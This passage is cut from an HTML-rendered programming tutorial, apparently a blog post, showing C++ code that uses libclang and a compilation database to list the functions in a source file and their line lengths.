&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;          &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;resolvedPathRaw&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;resolvedPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;resolvedPathRaw&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;resolvedPathRaw&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#else
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;resolvedPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#endif
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;resolvedPath&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We only need this function to permit the user to specify &lt;em&gt;relative&lt;/em&gt; paths on the command-line. For
the compilation database and the translation unit parsing, however, we require &lt;em&gt;absolute&lt;/em&gt; paths. The
function above is nothing but a fancy wrapper for the &lt;code&gt;realpath()&lt;/code&gt; function that returns the
canonicalized absolute path name.&lt;/p&gt;
&lt;h1 id="the-complete-code"&gt;The complete code&lt;/h1&gt;
&lt;p&gt;This is what you have been waiting for:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;clang-c/CXCompilationDatabase.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;clang-c/Index.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#ifdef __unix__
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;limits.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#endif
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;type_traits&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;getCursorSpelling&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CXCursor&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;CXString&lt;/span&gt; &lt;span class="n"&gt;cursorSpelling&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_getCursorSpelling&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;      &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_getCString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;cursorSpelling&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;clang_disposeString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;cursorSpelling&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/* Auxiliary function for resolving a (relative) path into an absolute path */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;resolvePath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="n"&gt;resolvedPath&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#ifdef __unix__
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;resolvedPathRaw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;PATH_MAX&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;          &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;realpath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;resolvedPathRaw&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;resolvedPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;resolvedPathRaw&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;resolvedPathRaw&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#else
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;resolvedPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#endif
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;resolvedPath&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CXChildVisitResult&lt;/span&gt; &lt;span class="nf"&gt;functionVisitor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CXCursor&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CXCursor&lt;/span&gt; &lt;span class="cm"&gt;/* parent */&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;CXClientData&lt;/span&gt; &lt;span class="cm"&gt;/* clientData */&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;clang_Location_isFromMainFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;clang_getCursorLocation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;CXChildVisit_Continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;CXCursorKind&lt;/span&gt; &lt;span class="n"&gt;kind&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_getCursorKind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;         &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getCursorSpelling&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;kind&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;CXCursorKind&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;CXCursor_FunctionDecl&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;kind&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;CXCursorKind&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;CXCursor_CXXMethod&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;kind&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;CXCursorKind&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;CXCursor_FunctionTemplate&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;CXSourceRange&lt;/span&gt; &lt;span class="n"&gt;extent&lt;/span&gt;           &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_getCursorExtent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;CXSourceLocation&lt;/span&gt; &lt;span class="n"&gt;startLocation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_getRangeStart&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;extent&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;CXSourceLocation&lt;/span&gt; &lt;span class="n"&gt;endLocation&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_getRangeEnd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;extent&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;startLine&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;startColumn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;endLine&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;endColumn&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;clang_getSpellingLocation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;startLocation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;startLine&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;startColumn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;nullptr&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;clang_getSpellingLocation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;endLocation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="k"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;endLine&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;endColumn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;nullptr&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"  "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;": "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;endLine&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;startLine&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;CXChildVisit_Recurse&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;resolvedPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;resolvePath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cerr&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Parsing "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;resolvedPath&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"...&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;CXCompilationDatabase_Error&lt;/span&gt; &lt;span class="n"&gt;compilationDatabaseError&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;CXCompilationDatabase&lt;/span&gt; &lt;span class="n"&gt;compilationDatabase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_CompilationDatabase_fromDirectory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;"."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;compilationDatabaseError&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;CXCompileCommands&lt;/span&gt; &lt;span class="n"&gt;compileCommands&lt;/span&gt;         &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_CompilationDatabase_getCompileCommands&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;compilationDatabase&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;resolvedPath&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c_str&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;numCompileCommands&lt;/span&gt;           &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clang_CompileCommands_getSize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;compileCommands&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
